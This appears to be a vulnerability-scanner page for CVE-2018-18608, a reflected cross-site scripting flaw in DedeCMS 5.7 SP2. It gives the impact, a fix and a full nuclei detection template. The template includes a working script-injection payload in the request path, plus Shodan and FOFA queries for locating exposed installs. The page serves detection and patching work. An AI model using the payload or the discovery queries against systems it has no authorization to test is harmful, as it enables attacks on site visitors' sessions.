DedeCMS 5.7 SP2 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.8%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

DedeCMS 5.7 SP2 is vulnerable to cross-site scripting via the function named GetPageList defined in the include/datalistcp.class.php file that is used to display the page numbers list at the bottom of some templates, as demonstrated by the PATH_INFO to /member/index.php, /member/pm.php, /member/content_list.php, or /plus/feedback.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to the latest version of DedeCMS or apply the official patch provided by the vendor to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/plus/feedback.php/rp4hu%27><script>alert%28document.domain%29<%2fscript>?aid=3
Positive when: contains "'><script>alert(document.domain)</script>" and "DedeCMS Error Warning!" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2018-18608 -u <target>

The full check

id: CVE-2018-18608

info:
  name: DedeCMS 5.7 SP2 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    DedeCMS 5.7 SP2 is vulnerable to cross-site scripting via the function named GetPageList defined in the include/datalistcp.class.php file that is used to display the page numbers list at the bottom of some templates, as demonstrated by the PATH_INFO to /member/index.php, /member/pm.php, /member/content_list.php, or /plus/feedback.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of DedeCMS or apply the official patch provided by the vendor to fix the XSS vulnerability.
  reference:
    - https://github.com/ky-j/dedecms/issues/8
    - https://github.com/ky-j/dedecms/files/2504649/Reflected.XSS.Vulnerability.exists.in.the.file.of.DedeCMS.V5.7.SP2.docx
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18608
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-18608
    cwe-id: CWE-79
    epss-score: 0.02754
    epss-percentile: 0.8635
    cpe: cpe:2.3:a:dedecms:dedecms:5.7:sp2:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: dedecms
    product: dedecms
    shodan-query:
      - http.html:"DedeCms"
      - cpe:"cpe:2.3:a:dedecms:dedecms"
      - http.html:"dedecms"
    fofa-query:
      - body="dedecms"
      - app="dedecms"
  tags: cve2018,cve,dedecms,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/plus/feedback.php/rp4hu%27><script>alert%28document.domain%29<%2fscript>?aid=3"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'><script>alert(document.domain)</script>"
          - "DedeCMS Error Warning!"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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